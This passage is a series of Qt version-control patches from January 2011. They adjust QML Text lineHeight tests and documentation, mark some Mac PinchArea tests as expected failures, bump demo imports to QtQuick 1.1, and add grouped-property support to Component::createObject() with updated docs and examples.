    +
    +    qreal h = myText->height();
    +    myText->setLineHeight(1.5);
    +    QVERIFY(myText->height() == h * 1.5);
    +
    +    myText->setLineHeightMode(QDeclarativeText::PixelHeight);
    +    myText->setLineHeight(20);
    +    QCOMPARE(myText->height(), 120.0);
    +
    +    myText->setText("Lorem ipsum sit amet, consectetur adipiscing elit. Integer felis nisl, varius in pretium nec, venenatis non erat. Proin lobortis interdum dictum.");
    +    myText->setLineHeightMode(QDeclarativeText::MultiplyHeight);
    +    myText->setLineHeight(1);
    +
    +    qreal h2 = myText->height();
    +    myText->setLineHeight(1.25);
    +    QVERIFY(myText->height() == h2 * 1.25);
    +
    +    myText->setLineHeightMode(QDeclarativeText::PixelHeight);
    +    myText->setLineHeight(10);
    +    QCOMPARE(myText->height(), 60.0);
    +}
    +
     void tst_qdeclarativetext::implicitSize_data()
     {
         QTest::addColumn("text");
    -- 
    cgit v0.12
    
    
    From 92488ca7e538e6bcf87d5cea4a78c39bb26346b7 Mon Sep 17 00:00:00 2001
    From: Yann Bodson 
    Date: Fri, 28 Jan 2011 14:55:25 +1000
    Subject: Doc fix for lineHeight.
    
    ---
     src/declarative/graphicsitems/qdeclarativetext.cpp | 4 +++-
     1 file changed, 3 insertions(+), 1 deletion(-)
    
    diff --git a/src/declarative/graphicsitems/qdeclarativetext.cpp b/src/declarative/graphicsitems/qdeclarativetext.cpp
    index fb1ae06..54b4c3a 100644
    --- a/src/declarative/graphicsitems/qdeclarativetext.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativetext.cpp
    @@ -1433,6 +1433,8 @@ qreal QDeclarativeText::paintedHeight() const
         Sets the line height for the text.
         The value can be in pixels or a multiplier depending on lineHeightMode.
     
    +    The default value is a multiplier of 1.0.
    +    The line height must be a positive value.
     */
     qreal QDeclarativeText::lineHeight() const
     {
    @@ -1453,7 +1455,7 @@ void QDeclarativeText::setLineHeight(qreal lineHeight)
     }
     
     /*!
    -    \qmlproperty real Text::lineHeightMode
    +    \qmlproperty enumeration Text::lineHeightMode
     
         This property determines how the line height is specified.
         The possible values are:
    -- 
    cgit v0.12
    
    
    From 7db57713a7961657fb1e133cf8fe3fbbd6378cfd Mon Sep 17 00:00:00 2001
    From: Martin Jones 
    Date: Fri, 28 Jan 2011 15:05:53 +1000
    Subject: Fix typo in error message.
    
    Task-number: QTBUG-16964
    ---
     src/declarative/graphicsitems/qdeclarativevisualitemmodel.cpp | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    
    diff --git a/src/declarative/graphicsitems/qdeclarativevisualitemmodel.cpp b/src/declarative/graphicsitems/qdeclarativevisualitemmodel.cpp
    index 065a388..9e89203 100644
    --- a/src/declarative/graphicsitems/qdeclarativevisualitemmodel.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativevisualitemmodel.cpp
    @@ -1076,7 +1076,7 @@ QDeclarativeItem *QDeclarativeVisualDataModel::item(int index, const QByteArray
             } else {
                 delete data;
                 delete ctxt;
    -            qmlInfo(this, d->m_delegate->errors()) << "Error creating delgate";
    +            qmlInfo(this, d->m_delegate->errors()) << "Error creating delegate";
             }
         }
         QDeclarativeItem *item = qobject_cast(nobj);
    -- 
    cgit v0.12
    
    
    From de223987715ad747496099165121aabdc38c8b0a Mon Sep 17 00:00:00 2001
    From: Bea Lam 
    Date: Fri, 28 Jan 2011 12:58:15 +1000
    Subject: Fix test breakage for qdeclarativeworkerscript
    
    Broken by 43b8305367156c1ceb09eb4a056bdae3f325b5eb.
    ---
     src/declarative/qml/qdeclarativeobjectscriptclass.cpp | 4 +++-
     1 file changed, 3 insertions(+), 1 deletion(-)
    
    diff --git a/src/declarative/qml/qdeclarativeobjectscriptclass.cpp b/src/declarative/qml/qdeclarativeobjectscriptclass.cpp
    index ee47d0b..2aa2059 100644
    --- a/src/declarative/qml/qdeclarativeobjectscriptclass.cpp
    +++ b/src/declarative/qml/qdeclarativeobjectscriptclass.cpp
    @@ -392,7 +392,9 @@ void QDeclarativeObjectScriptClass::setProperty(QObject *obj,
             QString error = QLatin1String("Cannot assign [undefined] to ") +
                             QLatin1String(QMetaType::typeName(lastData->propType));
             context->throwError(error);
    -    } else if (!value.isFunction()) {
    +    } else if (value.isFunction() && !value.isRegExp()) {
    +        // this is handled by the binding creation above
    +    } else {
             QVariant v;
             if (lastData->flags & QDeclarativePropertyCache::Data::IsQList)
                 v = enginePriv->scriptValueToVariant(value, qMetaTypeId >());
    -- 
    cgit v0.12
    
    
    From 5010d88ff9bbe32f3cc0477647370cfe8b49394b Mon Sep 17 00:00:00 2001
    From: Bea Lam 
    Date: Fri, 28 Jan 2011 15:14:27 +1000
    Subject: Fix failing test on mac for Qt.application
    
    setActiveWindow(0) on mac does not deactivate the current application.
    ---
     .../qdeclarativeapplication/tst_qdeclarativeapplication.cpp           | 4 ++++
     1 file changed, 4 insertions(+)
    
    diff --git a/tests/auto/declarative/qdeclarativeapplication/tst_qdeclarativeapplication.cpp b/tests/auto/declarative/qdeclarativeapplication/tst_qdeclarativeapplication.cpp
    index 3011257..64f327b 100644
    --- a/tests/auto/declarative/qdeclarativeapplication/tst_qdeclarativeapplication.cpp
    +++ b/tests/auto/declarative/qdeclarativeapplication/tst_qdeclarativeapplication.cpp
    @@ -87,9 +87,13 @@ void tst_qdeclarativeapplication::active()
         QCOMPARE(item->property("active").toBool(), QApplication::activeWindow() != 0);
     
         // not active again
    +    // on mac, setActiveWindow(0) on mac does not deactivate the current application
    +    // (you have to switch to a different app or hide the current app to trigger this)
    +#if !defined(Q_WS_MAC)
         QApplication::setActiveWindow(0);
         QVERIFY(!item->property("active").toBool());
         QCOMPARE(item->property("active").toBool(), QApplication::activeWindow() != 0);
    +#endif
     }
     
     void tst_qdeclarativeapplication::layoutDirection()
    -- 
    cgit v0.12
    
    
    From 7837e65c99324b539582066be308fb26ae439ecc Mon Sep 17 00:00:00 2001
    From: Bea Lam 
    Date: Fri, 28 Jan 2011 15:14:45 +1000
    Subject: disable some pincharea tests on mac temporarily
    
    ---
     .../qdeclarativepincharea/tst_qdeclarativepincharea.cpp          | 9 +++++++++
     1 file changed, 9 insertions(+)
    
    diff --git a/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp b/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp
    index f175033..6683db2 100644
    --- a/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp
    +++ b/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp
    @@ -228,8 +228,14 @@ void tst_QDeclarativePinchArea::scale()
         p2 += QPoint(10,10);
         QTest::touchEvent(vp).move(0, p1).move(1, p2);
     
    +#ifdef Q_OS_MAC
    +    QEXPECT_FAIL("", "todo on mac", Continue);
    +#endif
         QCOMPARE(root->property("scale").toReal(), 1.5);
         QCOMPARE(root->property("center").toPointF(), QPointF(40, 40)); // blackrect is at 50,50
    +#ifdef Q_OS_MAC
    +    QEXPECT_FAIL("", "todo on mac", Continue);
    +#endif
         QCOMPARE(blackRect->scale(), 1.5);
     
         // scale beyond bound
    @@ -237,6 +243,9 @@ void tst_QDeclarativePinchArea::scale()
         p2 += QPoint(50,50);
         QTest::touchEvent(vp).move(0, p1).move(1, p2);
     
    +#ifdef Q_OS_MAC
    +    QEXPECT_FAIL("", "todo on mac", Continue);
    +#endif
         QCOMPARE(blackRect->scale(), 2.0);
     
         QTest::touchEvent(vp).release(0, p1).release(1, p2);
    -- 
    cgit v0.12
    
    
    From 0e28a97c16f78e222841981653e71175313a4f4c Mon Sep 17 00:00:00 2001
    From: Bea Lam 
    Date: Fri, 28 Jan 2011 15:40:55 +1000
    Subject: photoviewer needs QtQuick 1.1 for Image::cache
    
    ---
     demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    
    diff --git a/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml b/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml
    index bfc8756..dcb1112 100644
    --- a/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml
    +++ b/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml
    @@ -39,7 +39,7 @@
     **
     ****************************************************************************/
     
    -import QtQuick 1.0
    +import QtQuick 1.1
     import "script/script.js" as Script
     
     Package {
    -- 
    cgit v0.12
    
    
    From 1391ebba9eb214f1f7f7b236f0e22eb41828f72c Mon Sep 17 00:00:00 2001
    From: Martin Jones 
    Date: Fri, 28 Jan 2011 15:53:49 +1000
    Subject: Test failure fixed - remove XFAIL
    
    ---
     tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp | 2 --
     1 file changed, 2 deletions(-)
    
    diff --git a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
    index a5e708b..42746e8 100644
    --- a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
    +++ b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
    @@ -614,8 +614,6 @@ void tst_QDeclarativeLoader::implicitSize()
         QCOMPARE(item->height(), 150.);
     
         QCOMPARE(item->property("implHeight").toReal(), 100.);
    -
    -    QEXPECT_FAIL("", "versioned property implicit object reference", Continue);
         QCOMPARE(item->property("implWidth").toReal(), 100.);
     
         delete item;
    -- 
    cgit v0.12
    
    
    From 6bdac26b9fc1575ee7783a47604108efc7058dcb Mon Sep 17 00:00:00 2001
    From: Bea Lam 
    Date: Fri, 28 Jan 2011 15:58:07 +1000
    Subject: Update test, versioning is fixed so expect-fail no longer needed
    
    ---
     tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp | 1 -
     1 file changed, 1 deletion(-)
    
    diff --git a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
    index a5e708b..4626c9c 100644
    --- a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
    +++ b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
    @@ -615,7 +615,6 @@ void tst_QDeclarativeLoader::implicitSize()
     
         QCOMPARE(item->property("implHeight").toReal(), 100.);
     
    -    QEXPECT_FAIL("", "versioned property implicit object reference", Continue);
         QCOMPARE(item->property("implWidth").toReal(), 100.);
     
         delete item;
    -- 
    cgit v0.12
    
    
    From 281f449dfcb533448c0f2df955b4f5c059db7ba2 Mon Sep 17 00:00:00 2001
    From: Christopher Ham 
    Date: Fri, 28 Jan 2011 15:57:12 +1000
    Subject: Adding support for group properties in Component::CreateObject()
    
    The QScriptValue overload for Component::CreateObject() should be able
    to set group properties. This change also allows for property
    binding from Javascript to continue to function.
    
    Task-number: QTBUG-13087
    Reviewed-by: Bea Lam
    ---
     src/declarative/qml/qdeclarativecomponent.cpp                       | 6 +++++-
     .../qdeclarativecomponent/data/createObjectWithScript.qml           | 2 +-
     .../declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp | 2 ++
     3 files changed, 8 insertions(+), 2 deletions(-)
    
    diff --git a/src/declarative/qml/qdeclarativecomponent.cpp b/src/declarative/qml/qdeclarativecomponent.cpp
    index b634a7a..06bf3fd 100644
    --- a/src/declarative/qml/qdeclarativecomponent.cpp
    +++ b/src/declarative/qml/qdeclarativecomponent.cpp
    @@ -715,7 +715,11 @@ QScriptValue QDeclarativeComponentPrivate::createObject(QObject *publicParent, c
             QScriptValueIterator it(valuemap);
             while (it.hasNext()) {
                 it.next();
    -            newObject.setProperty(it.name(), it.value(), QScriptValue::KeepExistingFlags);
    +            if (it.value().isFunction()) { // To allow property binding from javascript to work
    +                newObject.setProperty(it.name(), it.value());
    +            } else {
    +                QDeclarativeProperty::write(ret,it.name(),it.value().toVariant());
    +            }
             }
         }
     
    diff --git a/tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml b/tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml
    index 6f9ddc1..2ce76ed 100644
    --- a/tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml
    +++ b/tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml
    @@ -29,7 +29,7 @@ Item{
         }
     
         Component.onCompleted: {
    -        root.declarativerectangle = a.createObject(root, {"x":17,"y":17, "color":"white"});
    +        root.declarativerectangle = a.createObject(root, {"x":17,"y":17, "color":"white", "border.width":3});
             root.declarativeitem = b.createObject(root, {"x":17,"y":17,"testBool":true,"testInt":17,"testObject":root});
     
             root.bindingTestObject = c.createObject(root, {'testValue': (function(){return width * 3}) })  // use root.width
    diff --git a/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp b/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp
    index 62c6bb5..7b7b392 100644
    --- a/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp
    +++ b/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp
    @@ -45,6 +45,7 @@
     #include 
     #include 
     #include 
    +#include 
     #include 
     
     #ifdef Q_OS_SYMBIAN
    @@ -135,6 +136,7 @@ void tst_qdeclarativecomponent::qmlCreateObjectWithProperties()
         QCOMPARE(testObject1->property("x").value(), 17);
         QCOMPARE(testObject1->property("y").value(), 17);
         QCOMPARE(testObject1->property("color").value(), QColor(255,255,255));
    +    QCOMPARE(QDeclarativeProperty::read(testObject1,"border.width").toInt(), 3);
         delete testObject1;
     
         QObject *testObject2 = object->property("declarativeitem").value();
    -- 
    cgit v0.12
    
    
    From 74329f77d567e0b7e8cd4cab2ff6ce3f2b8892ad Mon Sep 17 00:00:00 2001
    From: Christopher Ham 
    Date: Fri, 28 Jan 2011 16:03:22 +1000
    Subject: Update Docs, Examples and Demos for new CreateObject overloadable
    
    Dynamic object in Docs explains QScriptValue argument.
    SameGame and Dynamic scene now make use of overloadable.
    
    Task-number: QTBUG-13087
    Reviewed-by: Bea Lam
    ---
     demos/declarative/samegame/SamegameCore/BoomBlock.qml      |  2 +-
     demos/declarative/samegame/SamegameCore/Button.qml         |  2 +-
     demos/declarative/samegame/SamegameCore/Dialog.qml         |  2 +-
     demos/declarative/samegame/SamegameCore/samegame.js        | 11 ++++++-----
     demos/declarative/samegame/samegame.qml                    |  2 +-
     doc/src/declarative/dynamicobjects.qdoc                    | 14 ++++++++++----
     doc/src/snippets/declarative/componentCreation.js          |  6 +-----
     examples/declarative/toys/dynamicscene/qml/itemCreation.js |  7 ++-----
     8 files changed, 23 insertions(+), 23 deletions(-)
    
    diff --git a/demos/declarative/samegame/SamegameCore/BoomBlock.qml b/demos/declarative/samegame/SamegameCore/BoomBlock.qml
    index da51230..009aeca 100644
    --- a/demos/declarative/samegame/SamegameCore/BoomBlock.qml
    +++ b/demos/declarative/samegame/SamegameCore/BoomBlock.qml
    @@ -39,7 +39,7 @@
     **
     ****************************************************************************/
     
    -import QtQuick 1.0
    +import QtQuick 1.1
     import Qt.labs.particles 1.0
     
     Item {
    diff --git a/demos/declarative/samegame/SamegameCore/Button.qml b/demos/declarative/samegame/SamegameCore/Button.qml
    index aea4e53..b2b232c 100644
    --- a/demos/declarative/samegame/SamegameCore/Button.qml
    +++ b/demos/declarative/samegame/SamegameCore/Button.qml
    @@ -39,7 +39,7 @@
     **
     ****************************************************************************/
     
    -import QtQuick 1.0
    +import QtQuick 1.1
     
     Rectangle {
         id: container
    diff --git a/demos/declarative/samegame/SamegameCore/Dialog.qml b/demos/declarative/samegame/SamegameCore/Dialog.qml
    index b11c65c..ecac475 100644
    --- a/demos/declarative/samegame/SamegameCore/Dialog.qml
    +++ b/demos/declarative/samegame/SamegameCore/Dialog.qml
    @@ -39,7 +39,7 @@
     **
     ****************************************************************************/
     
    -import QtQuick 1.0
    +import QtQuick 1.1
     
     Rectangle {
         id: page
    diff --git a/demos/declarative/samegame/SamegameCore/samegame.js b/demos/declarative/samegame/SamegameCore/samegame.js
    index 9266767..b838790 100755
    --- a/demos/declarative/samegame/SamegameCore/samegame.js
    +++ b/demos/declarative/samegame/SamegameCore/samegame.js
    @@ -177,18 +177,19 @@ function createBlock(column,row){
         // not be ready immediately. There is a statusChanged signal on the
         // component you could use if you want to wait to load remote files.
         if(component.status == Component.Ready){
    -        var dynamicObject = component.createObject(gameCanvas);
    +        var dynamicObject = component.createObject(gameCanvas,
    +                {"type": Math.floor(Math.random() * 3),
    +                "x": column*gameCanvas.blockSize,
    +                "width": gameCanvas.blockSize,
    +                "height": gameCanvas.blockSize});
             if(dynamicObject == null){
                 console.log("error creating block");
                 console.log(component.errorString());
                 return false;
             }
    -        dynamicObject.type = Math.floor(Math.random() * 3);
    -        dynamicObject.x = column*gameCanvas.blockSize;
             dynamicObject.y = row*gameCanvas.blockSize;
    -        dynamicObject.width = gameCanvas.blockSize;
    -        dynamicObject.height = gameCanvas.blockSize;
             dynamicObject.spawned = true;
    +
             board[index(column,row)] = dynamicObject;
         }else{
             console.log("error loading block component");
    diff --git a/demos/declarative/samegame/samegame.qml b/demos/declarative/samegame/samegame.qml
    index ebb8e4a..ab64156 100644
    --- a/demos/declarative/samegame/samegame.qml
    +++ b/demos/declarative/samegame/samegame.qml
    @@ -39,7 +39,7 @@
     **
     ****************************************************************************/
     
    -import QtQuick 1.0
    +import QtQuick 1.1
     import "SamegameCore"
     import "SamegameCore/samegame.js" as Logic
     
    diff --git a/doc/src/declarative/dynamicobjects.qdoc b/doc/src/declarative/dynamicobjects.qdoc
    index 073e0c4..f186dca 100644
    --- a/doc/src/declarative/dynamicobjects.qdoc
    +++ b/doc/src/declarative/dynamicobjects.qdoc
    @@ -62,10 +62,16 @@ To dynamically load a component defined in a QML file, call the
     This function takes the URL of the QML file as its only argument and creates
     a \l Component object from this URL.
     
    -Once you have a \l Component, you can call its \l {Component::createObject()}{createObject()} method to create an instance of
    -the component. This function takes exactly one argument, which is the parent for the new item. Since graphical items will
    -not appear on the scene without a parent, it is recommended that you set the parent this way. However, if you wish to set
    -the parent later you can safely pass \c null to this function.
    +Once you have a \l Component, you can call its \l {Component::createObject()}{createObject()} method to create an instance of 
    +the component. This function can take one or two arguments:
    +\list
    +\o The first is the parent for the new item. Since graphical items will not appear on the scene without a parent, it is 
    +  recommended that you set the parent this way. However, if you wish to set the parent later you can safely pass \c null to 
    +  this function. 
    +\o The second is optional and is a script which assigns values to the item's properties during creation. This avoids warnings 
    +  when certain properties have been bound to before they have been set by the code. Additionally, there are small performance 
    +  benefits when instantiating objects in this way.
    +\endlist
     
     Here is an example. First there is \c Sprite.qml, which defines a simple QML component:
     
    diff --git a/doc/src/snippets/declarative/componentCreation.js b/doc/src/snippets/declarative/componentCreation.js
    index c29a1f9..cf59777 100644
    --- a/doc/src/snippets/declarative/componentCreation.js
    +++ b/doc/src/snippets/declarative/componentCreation.js
    @@ -17,15 +17,11 @@ function createSpriteObjects() {
     
     //![local]
         component = Qt.createComponent("Sprite.qml");
    -    sprite = component.createObject(appWindow);
    +    sprite = component.createObject(appWindow, {"x": 100, "y": 100});
     
         if (sprite == null) {
             // Error Handling
             console.log("Error creating object");
    -    } else {
    -        sprite.x = 100;
    -        sprite.y = 100;
    -        // ...
         }
     //![local]
     
    diff --git a/examples/declarative/toys/dynamicscene/qml/itemCreation.js b/examples/declarative/toys/dynamicscene/qml/itemCreation.js
    index e74f7b0..4ee74c2 100644
    --- a/examples/declarative/toys/dynamicscene/qml/itemCreation.js
    +++ b/examples/declarative/toys/dynamicscene/qml/itemCreation.js
    @@ -28,11 +28,8 @@ function loadComponent() {
     
     function createItem() {
         if (itemComponent.status == Component.Ready && draggedItem == null) {
    -        draggedItem = itemComponent.createObject(window);
    -        draggedItem.image = paletteItem.image;
    -        draggedItem.x = posnInWindow.x;
    -        draggedItem.y = posnInWindow.y;
    -        draggedItem.z = 3;  // make sure created item is above the ground layer
    +        draggedItem = itemComponent.createObject(window, {"image": paletteItem.image, "x": posnInWindow.x, "y": posnInWindow.y, "z": 3});
    +        // make sure created item is above the ground layer
         } else if (itemComponent.status == Component.Error) {
             draggedItem = null;
             console.log("error creating component");
    -- 
    cgit v0.12
    
    
    From c98bd0ae192cac1254b2c98b497002e6256f0fbc Mon Sep 17 00:00:00 2001
    From: Yann Bodson 
    Date: Fri, 28 Jan 2011 17:48:04 +1000
    Subject: Fix lineHeight autotests.
    
    ---
     tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp | 8 ++++----
     1 file changed, 4 insertions(+), 4 deletions(-)
    
    diff --git a/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp b/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
    index b96fbff..8111cd2 100644
    --- a/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
    +++ b/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
    @@ -1099,19 +1099,19 @@ void tst_qdeclarativetext::lineHeight()
     
         myText->setLineHeightMode(QDeclarativeText::PixelHeight);
         myText->setLineHeight(20);
    -    QCOMPARE(myText->height(), 120.0);
    +    QCOMPARE(myText->height(), myText->lineCount() * 20.0);
     
         myText->setText("Lorem ipsum sit amet, consectetur adipiscing elit. Integer felis nisl, varius in pretium nec, venenatis non erat. Proin lobortis interdum dictum.");
         myText->setLineHeightMode(QDeclarativeText::MultiplyHeight);
         myText->setLineHeight(1);
     
         qreal h2 = myText->height();
    -    myText->setLineHeight(1.25);
    -    QVERIFY(myText->height() == h2 * 1.25);
    +    myText->setLineHeight(2.0);
    +    QVERIFY(myText->height() == h2 * 2.0);
     
         myText->setLineHeightMode(QDeclarativeText::PixelHeight);
         myText->setLineHeight(10);
    -    QCOMPARE(myText->height(), 60.0);
    +    QCOMPARE(myText->height(), myText->lineCount() * 10.0);
     }
     
     void tst_qdeclarativetext::implicitSize_data()
    -- 
    cgit v0.12
    
    
    From c22ec835589a2484059bcb94b5536cf3b9a7f69f Mon Sep 17 00:00:00 2001
    From: Bea Lam 
    Date: Fri, 28 Jan 2011 18:18:38 +1000
    Subject: Allow functions to be passed in as values for grouped properties
    
    Using QDeclarativeProperty::write() works for grouped properties but
    stops functions values from being passed in, and using
    QScriptValue::setProperty() on the object being created allows functions
    to be passed in but doesn't work for grouped properties. This fix
    walks down the tree for grouped properties to find the property that
    should be set so that functions can be set for grouped property values.
    
    Reviewed-by: Aaron Kennedy
    ---
     src/declarative/qml/qdeclarativecomponent.cpp           | 17 ++++++++++++++---
     .../data/createObjectWithScript.qml                     |  9 +++++++--
     .../qdeclarativecomponent/tst_qdeclarativecomponent.cpp |  3 ++-
     3 files changed, 23 insertions(+), 6 deletions(-)
    
    diff --git a/src/declarative/qml/qdeclarativecomponent.cpp b/src/declarative/qml/qdeclarativecomponent.cpp
    index 06bf3fd..5840f70 100644
    --- a/src/declarative/qml/qdeclarativecomponent.cpp
    +++ b/src/declarative/qml/qdeclarativecomponent.cpp
    @@ -715,10 +715,21 @@ QScriptValue QDeclarativeComponentPrivate::createObject(QObject *publicParent, c
             QScriptValueIterator it(valuemap);
             while (it.hasNext()) {
                 it.next();
    -            if (it.value().isFunction()) { // To allow property binding from javascript to work
    -                newObject.setProperty(it.name(), it.value());
    +            QScriptValue prop = newObject;
    +            QString propName = it.name();
    +            int index = propName.indexOf(QLatin1Char('.'));
    +            if (index > 0) {
    +                QString subProp = propName;
    +                int lastIndex = 0;
    +                while (index > 0) {
    +                    subProp = propName.mid(lastIndex, index - lastIndex);
    +                    prop = prop.property(subProp);
    +                    lastIndex = index + 1;
    +                    index = propName.indexOf(QLatin1Char('.'), index + 1);
    +                }
    +                prop.setProperty(propName.mid(propName.lastIndexOf(QLatin1Char('.')) + 1), it.value());
                 } else {
    -                QDeclarativeProperty::write(ret,it.name(),it.value().toVariant());
    +                newObject.setProperty(propName, it.value());
                 }
             }
         }
    diff --git a/tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml b/tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml
    index 2ce76ed..0da3bda 100644
    --- a/tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml
    +++ b/tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml
    @@ -8,7 +8,12 @@ Item{
         property QtObject bindingTestObject : null
         property QtObject bindingThisTestObject : null
     
    -    Component{id: a; Rectangle{} }
    +    Component{
    +        id: a
    +        Rectangle {
    +            property Rectangle innerRect: Rectangle { border.width: 20 }
    +        }
    +    }
         Component{
             id: b
             Item{
    @@ -29,7 +34,7 @@ Item{
         }
     
         Component.onCompleted: {
    -        root.declarativerectangle = a.createObject(root, {"x":17,"y":17, "color":"white", "border.width":3});
    +        root.declarativerectangle = a.createObject(root, {"x":17,"y":17, "color":"white", "border.width":3, "innerRect.border.width": 20});
             root.declarativeitem = b.createObject(root, {"x":17,"y":17,"testBool":true,"testInt":17,"testObject":root});
     
             root.bindingTestObject = c.createObject(root, {'testValue': (function(){return width * 3}) })  // use root.width
    diff --git a/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp b/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp
    index 7b7b392..4340fce 100644
    --- a/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp
    +++ b/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp
    @@ -137,12 +137,13 @@ void tst_qdeclarativecomponent::qmlCreateObjectWithProperties()
         QCOMPARE(testObject1->property("y").value(), 17);
         QCOMPARE(testObject1->property("color").value(), QColor(255,255,255));
         QCOMPARE(QDeclarativeProperty::read(testObject1,"border.width").toInt(), 3);
    +    QCOMPARE(QDeclarativeProperty::read(testObject1,"innerRect.border.width").toInt(), 20);
         delete testObject1;
     
         QObject *testObject2 = object->property("declarativeitem").value();
         QVERIFY(testObject2);
         QVERIFY(testObject2->parent() == object);
    -    QCOMPARE(testObject2->metaObject()->className(), "QDeclarativeItem_QML_2");
    +    //QCOMPARE(testObject2->metaObject()->className(), "QDeclarativeItem_QML_2");
         QCOMPARE(testObject2->property("x").value(), 17);
         QCOMPARE(testObject2->property("y").value(), 17);
         QCOMPARE(testObject2->property("testBool").value(), true);
    -- 
    cgit v0.12
    
    
    From 44e358047d60aa31f568a120a97dfe36f150d7e0 Mon Sep 17 00:00:00 2001
    From: Bea Lam 
    Date: Fri, 28 Jan 2011 18:28:02 +1000
    Subject: expect fail for some PinchArea tests on mac
    
    ---
     .../qdeclarativepincharea/tst_qdeclarativepincharea.cpp   | 15 +++++++++++++++
     1 file changed, 15 insertions(+)
    
    diff --git a/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp b/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp
    index 6683db2..b7e7a99 100644
    --- a/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp
    +++ b/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp
    @@ -292,9 +292,18 @@ void tst_QDeclarativePinchArea::pan()
         p2 += QPoint(10,10);
         QTest::touchEvent(vp).move(0, p1).move(1, p2);
     
    +#ifdef Q_OS_MAC
    +    QEXPECT_FAIL("", "todo mac", Continue);
    +#endif
         QCOMPARE(root->property("center").toPointF(), QPointF(60, 60)); // blackrect is at 50,50
     
    +#ifdef Q_OS_MAC
    +    QEXPECT_FAIL("", "todo mac", Continue);
    +#endif
         QCOMPARE(blackRect->x(), 60.0);
    +#ifdef Q_OS_MAC
    +    QEXPECT_FAIL("", "todo mac", Continue);
    +#endif
         QCOMPARE(blackRect->y(), 60.0);
     
         // pan x beyond bound
    @@ -302,7 +311,13 @@ void tst_QDeclarativePinchArea::pan()
         p2 += QPoint(100,100);
         QTest::touchEvent(vp).move(0, p1).move(1, p2);
     
    +#ifdef Q_OS_MAC
    +    QEXPECT_FAIL("", "todo mac", Continue);
    +#endif
         QCOMPARE(blackRect->x(), 140.0);
    +#ifdef Q_OS_MAC
    +    QEXPECT_FAIL("", "todo mac", Continue);
    +#endif
         QCOMPARE(blackRect->y(), 160.0);
     
         QTest::touchEvent(vp).release(0, p1).release(1, p2);
    -- 
    cgit v0.12
    
    
    From 88b143ff819751570e83d2de601630024a9c9989 Mon Sep 17 00:00:00 2001
    From: Morten Engvoldsen 
    Date: Fri, 28 Jan 2011 10:32:47 +0100
    Subject: Doc: including missing pages in overviews.
    
    Task-number: QTBUG-15357
    ---
     doc/src/frameworks-technologies/richtext.qdoc | 1 +
     doc/src/painting-and-printing/coordsys.qdoc   | 1 +
     doc/src/widgets-and-layouts/stylesheet.qdoc   | 1 +
     3 files changed, 3 insertions(+)
    
    diff --git a/doc/src/frameworks-technologies/richtext.qdoc b/doc/src/frameworks-technologies/richtext.qdoc
    index 7a5a6a6..089f84d 100644
    --- a/doc/src/frameworks-technologies/richtext.qdoc
    +++ b/doc/src/frameworks-technologies/richtext.qdoc
    @@ -37,6 +37,7 @@
     
         \ingroup frameworks-technologies
         \ingroup qt-basic-concepts
    +	\ingroup best-practices
     	
         \nextpage Rich Text Document Structure
     
    diff --git a/doc/src/painting-and-printing/coordsys.qdoc b/doc/src/painting-and-printing/coordsys.qdoc
    index a8febae..252159e 100644
    --- a/doc/src/painting-and-printing/coordsys.qdoc
    +++ b/doc/src/painting-and-printing/coordsys.qdoc
    @@ -29,6 +29,7 @@
         \page coordsys.html
         \title Coordinate System
         \ingroup qt-graphics
    +	\ingroup best-practices
         \brief Information about the coordinate system used by the paint
         system.
     
